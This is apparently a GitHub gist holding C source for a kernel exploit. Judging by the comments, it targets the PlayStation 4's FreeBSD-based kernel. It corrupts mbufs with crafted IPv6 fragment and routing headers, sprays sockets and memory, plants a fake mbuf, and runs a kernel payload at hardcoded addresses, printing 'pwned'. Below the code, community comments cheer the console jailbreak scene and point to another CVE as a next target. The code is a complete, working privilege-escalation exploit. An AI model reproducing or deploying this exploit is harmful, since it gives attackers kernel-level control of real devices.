-
-
Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.
#include <sys/types.h> | |
#include <sys/param.h> | |
#include <sys/cpuset.h> | |
#include <sys/socket.h> | |
#include <sys/mman.h> | |
#include <sys/sysctl.h> | |
#include <sys/vmmeter.h> | |
#include <netinet/in.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <time.h> | |
#include <vm/vm_param.h> | |
#include <stdio.h> | |
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final) | |
{ | |
unsigned char buf[0x100]; | |
// hop-by-hop header | |
buf[0] = 44; | |
buf[1] = 0; | |
buf[2] = 1; | |
buf[3] = 4; | |
buf[4] = buf[5] = buf[6] = buf[7] = 0x41; | |
// fragment header | |
buf[8] = 43; | |
buf[9] = 0; | |
size_t mid = off + !is_final; | |
buf[10] = mid / 256; | |
buf[11] = mid % 256; | |
buf[12] = 0xde; | |
buf[13] = 0xad; | |
buf[14] = 0xbe; | |
buf[15] = 0xef; | |
for(size_t i = 0; i < sz; i++) | |
buf[16+i] = src[off+i]; | |
struct sockaddr_in6 sin6 = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0xbeef, | |
}; | |
sin6.sin6_addr.s6_addr[15] = 1; | |
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6)); | |
} | |
void build_rthdr(char* buf, int sz) | |
{ | |
buf[0] = 43; | |
buf[1] = sz / 8 - 1; | |
buf[2] = 0; | |
buf[3] = 0; | |
for(size_t i = 4; i < sz; i++) | |
buf[i] = 0; | |
} | |
#define RTHDR_1_SZ 0x68 // MHLEN-56 | |
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf | |
#define FIRST_FRAGMENT_SZ 0x38 | |
#define SPRAY_SIZE 400 | |
#define SMALL_SPRAY_SIZE 400 | |
#define HUGE_SPRAY_SIZE 0x2800 | |
#define RECLAIM_THRESHOLD 10 | |
void push_mbuf(int* socks, int i) | |
{ | |
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0) | |
printf("push_mbuf failed\n"); | |
} | |
int pop_mbuf(int* socks, int i) | |
{ | |
int ans = i; | |
recvfrom(socks[i], &ans, sizeof(ans), 0, 0, 0); | |
return ans; | |
} | |
int peek_mbuf(int* socks, int i) | |
{ | |
int ans = i; | |
recvfrom(socks[i], &ans, sizeof(ans), MSG_PEEK, 0, 0); | |
return ans; | |
} | |
#if 0 | |
uint16_t ip_checksum(void* buf, size_t sz, uint32_t csum) | |
{ | |
uint16_t* x = (unsigned short*)buf; | |
for(size_t i = 0; i < sz / 2; i++) | |
csum += x[i]; | |
while(csum >= 0x10000) | |
{ | |
uint32_t q = csum / 0x10000; | |
csum %= 0x10000; | |
csum += q; | |
} | |
return (uint16_t)(0xffff - csum); | |
} | |
void craft_ipv4_packet(char* ans, int port, char* buf, size_t sz) | |
{ | |
ans[0] = 0x45; | |
ans[1] = 0; | |
ans[2] = (sz+28)%256; | |
ans[3] = (sz+28)/256; | |
ans[4] = 0xde; | |
ans[5] = 0xad; | |
ans[6] = 0; | |
ans[7] = 0; | |
ans[8] = 64; | |
ans[9] = 17; | |
ans[10] = ans[11] = 0; | |
ans[12] = ans[16] = 127; | |
ans[13] = ans[17] = 0; | |
ans[14] = ans[18] = 0; | |
ans[15] = ans[19] = 1; | |
ans[20] = ans[22] = port % 256; | |
ans[21] = ans[23] = port / 256; | |
ans[24] = (sz+8)/256; | |
ans[25] = (sz+8)%256; | |
ans[26] = 0; | |
ans[27] = 0; | |
//*(uint16_t)(ans+26) = ipv4_checksum(ans+20, 8); | |
//*(uint16_t)(ans+10) = ipv4_checksum(ans, sz+28); | |
for(size_t i = 0; i < sz; i++) | |
ans[i+28] = buf[i]; | |
} | |
void push_mbuf_r(int r, int* socks, int i) | |
{ | |
struct sockaddr_in sin; | |
socklen_t l = sizeof(sin); | |
getsockname(socks[i], (struct sockaddr*)&sin, &l); | |
char buf[32]; | |
craft_ipv4_packet(buf, sin.sin_port, (void*)&i, sizeof(i)); | |
sendto(r, buf, sizeof(buf), 0, (void*)&sin, l); | |
} | |
#endif | |
int create_loopback(void) | |
{ | |
#if 1 | |
int sock = socket(AF_INET6, SOCK_DGRAM, 0); | |
struct sockaddr_in6 sin = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0, | |
}; | |
sin.sin6_addr.s6_addr[15] = 1; | |
#else | |
int sock = socket(AF_INET, SOCK_DGRAM, 0); | |
struct sockaddr_in sin = { | |
.sin_family = AF_INET, | |
.sin_addr = {0x100007f}, | |
.sin_port = 0, | |
}; | |
#endif | |
socklen_t sin_l = sizeof(sin); | |
bind(sock, (struct sockaddr*)&sin, sin_l); | |
getsockname(sock, (struct sockaddr*)&sin, &sin_l); | |
connect(sock, (struct sockaddr*)&sin, sin_l); | |
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK); | |
return sock; | |
} | |
int get_port(int fd) | |
{ | |
struct sockaddr_in6 sin; | |
socklen_t l = sizeof(sin); | |
getsockname(fd, (struct sockaddr*)&sin, &l); | |
return sin.sin6_port; | |
} | |
asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret"); | |
void kexec(void*); | |
#define uma_reclaim ((void*)0xffffffff80a7c1c0) | |
int port_to_csum(int port) | |
{ | |
int base_port = 0x0de6; | |
int base_csum = 0x36b1; | |
int csum = base_csum - 2 * (port - base_port); | |
csum += 0x1fffe; | |
csum %= 0xffff; | |
return csum; | |
} | |
volatile void* userland_spray(void) | |
{ | |
volatile char* buf = mmap(NULL, 1L<<33, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
size_t npages = 50000; | |
for(size_t i = 0; i < (1L<<33); i += 4096) | |
{ | |
int checkout = 0; | |
if(i % 10485760 == 0) | |
{ | |
checkout = 1; | |
printf("%lu\n", i); | |
} | |
struct vmtotal v1, v2; | |
struct timeval t1, t2; | |
int mibs[2] = {CTL_VM, VM_TOTAL}; | |
size_t l = sizeof(v1); | |
if(npages < 50000 || checkout) | |
sysctl(mibs, 2, &v1, &l, 0, 0); | |
buf[i] = 123; | |
if(npages < 50000 || checkout) | |
{ | |
sysctl(mibs, 2, &v2, &l, 0, 0); | |
if(v2.t_free > v1.t_free + RECLAIM_THRESHOLD) | |
{ | |
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free); | |
break; | |
} | |
else if(v2.t_free > v1.t_free) | |
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free); | |
npages = v2.t_free; | |
} | |
} | |
printf("sprayed (?)\n"); | |
//munmap(buf+(1<<30)-(1<<20), 1<<20); | |
return buf; | |
} | |
void pipe_spray(void) | |
{ | |
char* buf = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
for(size_t i = 0; i < 4096; i++) | |
buf[i] = 0x41; | |
for(int i = 0; i < HUGE_SPRAY_SIZE/2; i++) | |
{ | |
int p[2]; | |
pipe(p); | |
fcntl(p[1], F_SETFL, fcntl(p[1], F_GETFL) | O_NONBLOCK); | |
write(p[1], buf, 4096); | |
write(p[0], buf, 4096); | |
} | |
} | |
void push_jumbo(int fd) | |
{ | |
char buf[2048]; | |
for(int i = 0; i < 2048; i++) | |
buf[i] = 0x41; | |
for(int i = 0; i < 31; i++) | |
sendto(fd, buf, sizeof(buf), 0, 0, 0); | |
} | |
void* mmap_at(void* where, size_t sz) | |
{ | |
uintptr_t addr = (uintptr_t)where; | |
uintptr_t end = addr + sz; | |
addr &= ~4095ull; | |
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr) | |
{ | |
printf("failed to mmap_at!\n"); | |
return 0; | |
} | |
//prefault pages | |
unsigned char* p = where; | |
for(size_t i = 0; i < sz; i++) | |
p[i] = 0; | |
return where; | |
} | |
void kernel_payload(int bad_fd) | |
{ | |
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90; | |
printf("Hello, kernel world!\n"); | |
int****** td; | |
asm volatile("mov %%gs:0, %0":"=r"(td)); | |
td[1][9][0][bad_fd][0][81] = 0; // socket->so_snd.sb_cc | |
td[1][9][0][bad_fd][0][83] = 0; // socket->so_snd.sb_mbcnf | |
void*** zone_mbuf = (void*)0xffffffff811008a0; | |
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets | |
} | |
int main(void) | |
{ | |
cpuset_t xxx; | |
CPU_ZERO(&xxx); | |
CPU_SET(2, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx); | |
int huge_spray[HUGE_SPRAY_SIZE]; | |
for(int i = 0; i < HUGE_SPRAY_SIZE; i++) | |
huge_spray[i] = socket(AF_INET6, SOCK_DGRAM, 0); | |
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS); | |
int socks[SPRAY_SIZE]; | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
socks[i] = create_loopback(); | |
//socketpair(AF_INET, SOCK_DGRAM, 0, socks+2*i); | |
int small_spray[SMALL_SPRAY_SIZE]; | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
small_spray[i] = create_loopback(); | |
char buf[RTHDR_1_SZ + RTHDR_2_SZ]; | |
build_rthdr(buf, RTHDR_1_SZ); | |
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ); | |
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0); | |
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1); | |
nanosleep((void*)"\0\0\0\0\0\0\0\0\x10\x27\0\0\0\0\0\0", 0); | |
CPU_ZERO(&xxx); | |
CPU_SET(0, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx); | |
#define FORALL for(int i = 0; i < SPRAY_SIZE; i++) | |
int q; | |
FORALL push_mbuf(socks, i); | |
char delayed_pkt[20]; | |
*(uint32_t*)(delayed_pkt+16) = 0x41414141; | |
send_fragment(sock, delayed_pkt, 16, 4, 1); | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
push_mbuf(small_spray, i); | |
int bad1 = -1, bad2 = -1; | |
FORALL if((q = peek_mbuf(socks, i)) != i) | |
{ | |
bad1 = i; | |
bad2 = q; | |
} | |
if(bad1 < 0 || bad2 < 0) | |
{ | |
printf("fatal: no corruption\n"); | |
return 1; | |
} | |
build_rthdr(delayed_pkt, 8); | |
delayed_pkt[0] = 17; // udp | |
uint16_t bad1_port = get_port(socks[bad1]); | |
*(uint16_t*)(delayed_pkt+8) = *(uint16_t*)(delayed_pkt+10) = bad1_port; | |
delayed_pkt[12] = 0; | |
delayed_pkt[13] = 12; | |
*(uint16_t*)(delayed_pkt+14) = port_to_csum(bad1_port); | |
send_fragment(sock, delayed_pkt, 0, 16, 0); | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
pop_mbuf(socks, bad1); | |
pop_mbuf(socks, bad2); | |
/*for(int i = SPRAY_SIZE-SMALL_SPRAY_SIZE; i < SPRAY_SIZE; i++) | |
{ | |
printf("%d ", i-SPRAY_SIZE); | |
fflush(stdout); | |
print_mbuf_addr(socks[i]); | |
} | |
printf("-0 "); | |
fflush(stdout); | |
print_mbuf_addr(socks[bad1]); | |
printf("-0 "); | |
fflush(stdout); | |
print_mbuf_addr(socks[bad2]); | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
{ | |
printf("%d ", i); | |
fflush(stdout); | |
print_mbuf_addr(small_spray[i]); | |
}*/ | |
for(int i = SMALL_SPRAY_SIZE-1; i >= 0; i--) | |
pop_mbuf(small_spray, i); | |
pop_mbuf(socks, bad1); | |
for(int i = SPRAY_SIZE-1; i >= 0; i--) | |
if(i != bad1 && i != bad2) | |
pop_mbuf(socks, i); | |
//print_mbuf_addr(socks[bad2]); | |
void* ul_buf = (void*)userland_spray(); | |
unsigned char rthdr[1016]; | |
build_rthdr((char*)rthdr, sizeof(rthdr)); | |
rthdr[0] = 0; | |
rthdr[3] = rthdr[1] / 2; | |
rthdr[4] = 0x90; | |
*(uint32_t*)(rthdr+0x1c) = 0x40000; //M_NOFREE | |
unsigned char* mbuf_fake = mmap_at(*(void**)rthdr, 0x100); | |
*(uint32_t*)(mbuf_fake+0x1c) = 0x40001; //M_NOFREE|M_EXT | |
*(uintptr_t*)(mbuf_fake+0x58) = 0xffff800041414141ull; | |
*(uintptr_t*)(mbuf_fake+0x60) = (uintptr_t)&kernel_payload; | |
*(uintptr_t*)(mbuf_fake+0x68) = socks[bad2]; //ext_arg1 | |
int fake_refcnt = 1; | |
*(void**)(mbuf_fake+0x80) = &fake_refcnt; | |
*(int*)(mbuf_fake+0x88) = 400; | |
for(int i = 256; i < sizeof(rthdr); i++) | |
rthdr[i] = rthdr[i % 256]; | |
printf("crafted fake mbuf in userspace\n"); | |
/*for(int i = 4; i < sizeof(rthdr); i++) | |
rthdr[i] = 0x41;*/ | |
for(int i = 0; i < HUGE_SPRAY_SIZE; i++) | |
setsockopt(huge_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr)); | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
setsockopt(socks[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr)); | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
setsockopt(small_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr)); | |
//print_mbuf_addr(socks[bad2]); | |
pop_mbuf(socks, bad2); | |
close(socks[bad1]); | |
close(socks[bad2]); | |
printf("pwned\n"); | |
munmap(ul_buf, 1L<<33); | |
return 0; | |
} |
наверное и вот что выложил разведку с аппетитом Полный веб-набор 7.55
Add a donation link, we appreciate your work for PS4 :)
Кстати, свобода Алексею Навальному!
This is really amazing, shoutout to everyone in the ps4 scene, and props to theflow for playstation letting him disclose the sock raw exploit, and people like him and sleirsgoevy and fire30, etc in the end are the ones who get these done, all we can hope now is a poc for cve-2020-13543(talos-2020-1155), and if it works, we have a kex for 7.55 and posibly 8.00
https://talosintelligence.com/vulnerability_reports/TALOS-2020-1155
I found some kernel offsets of PS4 on 7.50 .
Will it help?
@harshdhaliwal1 you mind posting it? I would like to check if it makes a difference on the webkit success rate.
اين مطوربن العرب مشكور على المجهود
Keep working bro 👏🙏🌹
We hope for you very much👏💪
sleirgoevy is the best much respect 🌹🌹
keep working bro we support you
Good job
mantap
Hoping for the leaf surprise for Algebra version 7.55 I believe in you my friend
keep working 💪
Yeah we really need to donate ;)